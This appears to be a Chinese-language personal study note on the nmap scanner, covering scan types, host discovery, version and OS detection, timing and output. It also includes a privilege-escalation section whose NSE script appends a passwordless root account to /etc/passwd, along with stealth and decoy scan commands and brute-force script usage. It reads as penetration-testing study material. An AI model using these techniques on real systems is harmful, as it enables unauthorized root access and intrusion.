Tools-nmap使用

— 总归是要补的…. —
— 终于补了一波自动化工具的使用 —

前言

入职回头好好学习大把工具。
nmap基础学习笔记,感觉复习了计算机网络一样…
笔记笔记,常回来看看。
关于到script功能,和一些觉得不常用的功能,就没有记录了。

官网中文文档

官网中文文档
官网教程书籍

常用命令

  1. 扫描网段在线主机:
    nmap -sP 192.168.0.0/24
  2. 扫描主机端口:
    nmap -sS -P0 -sV -O 192.168.0.1 nmap –PN –sT –sV –p1-65535 www.xxx.com
  3. 默认验证端口+默认脚本执行
    nmap –sVC –p 1099 www.xxx.com
    (扫描RMI服务细节)
  4. 简单粗暴全扫(默认-sT):
    nmap -A -sV -T4 192.168.0.1
  5. 隐蔽扫描:
    nmap --spoof-mac Cisco --data-length 24 -T paranoid -max-hostgroup 1 --max-parallelism 10 -Pn -f -D 10.1.20.5,RND:5,ME -v -n -sS -sV -p T:1-1024 -oA ./out 10.1.1.15

nmap提权

因为nmap需要root权限进行扫描,在对方机器存在nmap时,可以进行提权

旧版本nmap:

1
2
nmap --interactive
!sh

新版本nmap:
file.nse

1
2
3
local file = io.open("/etc/passwd", "a")
file:write("root2::0:0::/root:/bin/bash\n")
file:close()

nmap --script=file.nse

脚本使用

脚本类别扫描

nmap脚本可以进行分类扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
auth: 负责处理鉴权证书(绕开鉴权)的脚本  
broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
brute: 提供暴力破解方式,针对常见的应用如http/snmp等
default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
dos: 用于进行拒绝服务攻击
exploit: 利用已知的漏洞入侵系统
external: 利用第三方的数据库或资源,例如进行whois解析
fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
malware: 探测目标机是否感染了病毒、开启了后门等信息
safe: 此类与intrusive相反,属于安全性脚本
version: 负责增强服务与版本扫描(Version Detection)功能的脚本
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067

  1. 扫描常见弱口令:
    nmap --script=auth 192.168.137.*
  2. 对于各种端口进行简单爆破:
    nmap --script=brute 192.168.137.*
  3. 扫描常见漏洞
    nmap --script=vuln 10.71.144.3
  4. 局域网嗅探
    nmap -n -p445 --script=broadcast 192.168.137.4
  5. 512端口开启rexecd Service服务的进行爆破
    nmap -p 512 --script rexec-brute 10.71.144.3

rexeced Service爆破结束后进行利用apt-get install rsh-client rlogin -l root 192.168.10.92

  1. 扫描nmap:
    nmap -n -v -Pn –sV IP地址 -p 端口 --script=/usr/share/nmap/scripts/weblogic-t3-info.nse

目标地址

CIDR风格的地址

192.168.10.0/24 = 192.168.10.0/24 = 192.168.10.0-192.168.10.255

根据IP地址的32个比特位固定,替换后面的比特位。可以从/1(半个互联网)到/32(一个主机)

- 指定范围

192.168.0-255.1-254 = C端下面所有地址,除了0,255
0-255.0-255.13.37 = 所有以13.37结束的地址。

选项控制

-iL <inputfilename> (从列表中输入)
inputfilename:文件,文件内地址每一项必须以一个或多个空格,制表符或换行符分开

-iR <hostnum> (随机选择目标)
hostnum:随机生成的IP数量,0表示无穷

--exclude <host1[,host2][,host3],...> (排除主机/网络)

--excludefile <excludefile> (排除文件中的列表)

主机发现

-sP选项可以和 除-P0之外的任何发现探测类型-P* 选项结合使用以达到更大的灵活性。 一旦使用了任何探测类型和端口选项,默认的探测(ACK和回应请求)就被覆盖了。

-sL (列表扫描):
列出指定网络上的每台主机, 不发送任何报文到目标主机。再反向域名解析以获取 它们的名字。

-sP (Ping扫描):
打印出对Ping扫描做出响应的那些主机。 没有进一步的测试 (如端口扫描或者操作系统探测)。
在默认情况下, 发送一个ICMP回声请求和一个TCP报文到80端口。

-P0/-Pn (无ping):
完全跳过Nmap发现阶段。

-PS [portlist] (TCP SYN Ping):
该选项发送一个设置了SYN标志位的空TCP报文。 默认目的端口为80 ,也可以通过 posrlist 参数指定 一个以逗号分隔的端口列表。
如:-PS 22,23,25,80,113,1050,35000
无论对方主机端口关闭回复RST还是端口开启回复SYN/ACK响应都告诉Nmap该主机正在运行。

-PA [portlist] (TCP ACK Ping):
设置了ACK标志位的空TCP报文。其他与上相同
远程主机应该总是回应一个RST报文, 因为它们并没有发出过连接请求到运行Nmap的机器,如果主机正在运行的话。

-PS -PA 提供SYN和ACK两种ping探测,使通过防火墙的机会尽可能大。可以尝试组合使用
默认端口可以通过nmap.h文件修改

-PU [portlist] (UDP Ping):
设置了空的(除非指定了–data-length)UDP报文。如果不指定端口,默认是31338,portlist 设置与上相同

如果目标机器的端口是关闭的,UDP探测应该马上得到一个ICMP端口无法到达的回应报文,意味着主机正在运行。
许多其它类型的ICMP错误,像主机/网络无法到达或者TTL超时 再是没有回应 表示down掉的或者不可到达的主机。

默认31338端口是因为它是一个极不可能被服务使用的端口。大部分服务会忽略 UDP空报文而不做任何回应,会混淆判断。
穿越只过滤TCP的防火墙和过滤器,达到主机发现目的。

-PE; -PP; -PM (ICMP Ping Types):
-PE:发送ICMP type 8 (回声请求)报文到目标IP地址, 期待从运行的主机得到一个type 0 (回声响应)报文。表示主机正在运行
-PP/-PM:发送ICMP 时间戳(type 13) / 地址掩码查询(type 17) 报文到目标IP地址,期待得到时间戳响应(type 14)或者地址掩码响应(type 18),表示主机正在运行

-PE 通常被封锁。-PP -PM 可能有效

-PR (ARP Ping):
在局域网中,使用ARP扫描。
默认情况下,如果Nmap发现目标主机就在它所在的局域网上,它会进行ARP扫描。 即使指定了不同的ping类型(如 -PI或者 -PS) ,Nmap也会对任何相同局域网上的目标机使用ARP。 如果您真的不想要ARP扫描,指定 –send-ip。

-n (不用域名解析)
永不对它发现的活动IP地址进行反向域名解析。,加快速度

-R (为所有目标解析域名)
永远 对目标IP地址作反向域名解析。

--system-dns (使用系统域名解析器)
默认情况下,Nmap通过直接发送查询到您的主机上配置的域名服务器 来解析域名。为了提高性能,许多请求 (一般几十个 ) 并发执行。如果您希望使用系统自带的解析器,就指定该选项。

端口扫描

默认使用-sT模式扫描

-sS (TCP SYN扫描):
默认,快速,半开放式扫描。

  • 发送一个SYN报文,等待响应。SYN/ACK 表示端口在监听(开放)。
  • RST(复位)表示没有监听。
  • 数次重发没有响应,收到ICMP不可达错误,表示被过滤

-sT (TCP connect()扫描):
SYN不可用是,此为默认选项
完全连接到开放端口,速度慢,会留下记录。

-sU (UDP扫描):
UDP扫描较慢,比TCP更困难,扫描UDP服务
可以与TCP扫描 结合来使用同时检查两种协议。

  • UDP发送空的(没有数据)UDP报头到每个目标端口。
  • 响应UDP报文,该端口是open。
  • 几次重试没有响应,该端口open | filtered
  • 其他ICMP不可达错误(类型3,代码1,2,9,10,13),表示端口filtered
  • 返回ICMP端口不可达错误(类型3,代码3),表示端口closed

比如 DNS,SNMP,DHCP(端口53,161/162,67/68)是基于UDP的服务
-sV版本扫描帮助区分 open 和 filtered

-sN; -sF; -sX (TCP Null, FIN, and Xmas扫描)
如果扫描系统遵循TCP RFC。当端口关闭时,任何不包含SYN,RST或者ACK的报文会导致 一个RST返回;当端口开放是,应该没有任何响应。
只要不包含SYN,RST,ACK,任何其他三种(FIN,PSH,URG)的组合都行,Nmap中提供三种扫描类型:
Null扫描(-sN):不设置任何标志位(TCP标志头为0)
FIN扫描(-sF):只设置TCP FIN标志位
Xmas扫描(-sX):设置FIN,PSH,URG标志位

以上三种扫描的处理都一样

  • 收到RST报文,被认为是close。
  • 没有响应,被认为是 open | filtered。
  • 收到ICMP不可达错误(类型3,代号1,2,3,9,10,13)被认为是 filtered

优势:能躲过一些无状态的防火墙和报文过滤路由器,隐蔽
劣势:并非所有系统都严格遵守RFC 793,可能误报。不能区别open和filtered

-sA(TCP ACK扫描):
用于发现防火墙规则,看哪些端口是被过滤的。ACK扫描探测报文只设置ACK标志位

  • 返回RST报文,被认为是unfiltered。无法细分 open | close端口
  • 不响应的端口 或者 发送特定的ICMP错误消息(类型3,代号1,2,3,9,10,13),被认为是 filtered

-sW(TCP窗口扫描):
在ACK扫描的基础上,通过 返回的RST的报文的TCP窗口 来进一步区分 unfiltered 中的 open 和 close。

在某些系统,开放端口用正数表示窗口大小(RST报文也是如此)而关闭端口的窗口大小为0。
针对这种实现而形成的扫描类型。不能总是相信,作为参考。来区分端口

-sM(TCP Maimon扫描):
由发现者Uriel Maimon命名。
扫描技术与Null,FIN,以及Xmas扫描完全一致。只是修改探测报文为FIN/ACK

--scanflags (定制的TCP扫描):
允许你通过指定任意TCP标志位来设计自己的扫描发送的报文,此外设置扫描类型可以告诉Nmap如何解释响应。

  • –scanflags URGACKPSHRSTSYNFIN 设置所有标志位
  • -sA 的基本类型来解析响应包(不指定,默认SYN扫描形式)

-sl <zombie host[:probeport]> 空闲扫描:
利用处于空闲状态僵尸机的IP ID增长数量来判断目标端口的开放情况。一种类似于侧信道从其他地方获取结果的攻击方式,极其隐蔽,细节参考官方说明
步骤如下:

  • 向zombie机器发送SYN/ACK包,目的是记录IP ID
  • 伪造zombie机器与目标发送SYN建立连接
  • 向zombie机器发送SYN/ACK包,目的是再次记录IP ID
    如果IP ID 增长2 表示目标机端口open(目标机发送SYN/ACK至zombie,zombie返回RST)
    如果IP ID 增长1 表示目标机端口close | filtered (目标机发送RST至zombie,zombie不反应)

IP ID 就是IP报文的报文头中的标识段,主机在发送报文时增长,接受报文不增长。增长2 = 1(发送至目标机) + 1(发送至攻击者主机)

-sO (IP协议扫描):
IP协议扫描可以选择目标机支持哪些IP协议(TCP,ICMP,IGMP等)
遍历扫描的是协议号

端口说明和扫描顺序

默认情况,Nmap用指定的协议对端口1-1024以及nmap-service文件中更高的端口进行扫描。
默认情况下,Nmap按随机顺序扫描端口 (除了出于效率的考虑,常用的端口前移)。

-p <port ranges>(只扫描指定端口)
指定想要扫描的端口,覆盖默认值。
-p 后 可以通过U:,T:指定端口使用的协议(之前要指定-sU,和一种TCP扫描类型-sS,-sF,-sT)
如果不给协议限定符,会添加到所有协议列表。

-F(快速(有限端口)扫描):
扫描nmap的nmap-services文件中的指定端口。

-r(不要按随机顺序扫描端口):
顺序端口扫描。

服务和版本探测

默认情况下,Nmap版本探测会跳过9100 TCP端口(打印机端口有大量无用信息)

-sV(版本探测):
打开版本探测

-A
打开操作系统探测和版本探测

--allports(不为版本探测排除任何端口):
探测所有端口

--version-intensity <intensity>(设置版本扫描强度):
强度值必须在0-9之间,默认是7。指数越高,服务越可能被正确识别。
--version-light(打开轻量级模式):
等于 –verison-intensity 2
--verison-all(尝试每个探测):
等于 –version-intensity 9

--version-trace(跟踪版本扫描活动):
打印出详细正在进行的扫描调试信息。是--packet-trace的子集。

-sR(RPC扫描):
和许多端口扫描方法联合使用。对所有被发现开放的TCP/UDP端口,探测是否有RPC端口以及其程序和版本号。

操作系统检测

-O(启动系统探测):
打开系统探测

-A
打开操作系统探测和版本探测

--osscan-limit(针对指定的目标进行操作系统探测):
如果发现一个打开和关闭的TCP端口时,检测会更有效。
nmap只对满足这种条件的主机进行操作系统探测。

--osscan-guess; --fuzzy(推测操作系统检测结果)

时间和性能

-T <0-5>(设置时间模板):

默认为 -T3。数字越大,扫描越快。
2比3多花10倍时间,1和2避免IDS告警。

其他细节设置略过

防火墙/IDS躲避和哄骗

可以 报文分段,诱饵隐蔽,源地址哄骗,使用指定的接口,源端口哄骗,家随机数据,MAC地址哄骗

其他细节设置略过

输出

-oN <filespec>(标准输出):
将标准输出直接写入指定的文件。

-oX <filespec>(XML输出):
要求XML输出直接写入指定的文件。

-v(提高输出信息的详细度):
输出扫描过程的更多信息。可以使用-vv提供更详细的信息

-d [level](提高或设置调试级别):
输出调试信息

--packet-trace(跟踪发送和接受的报文):
要求Nmap打印发送和接收的每个报文的摘要,通常用于 调试。

--resume <filename>(继续中断的扫描):
可以通过输出的日志文件,继续扫描

其他细节设置略过

其他选项

-A (激烈扫描模式选项):
包括操作系统检测(-O)和版本检测(-sV)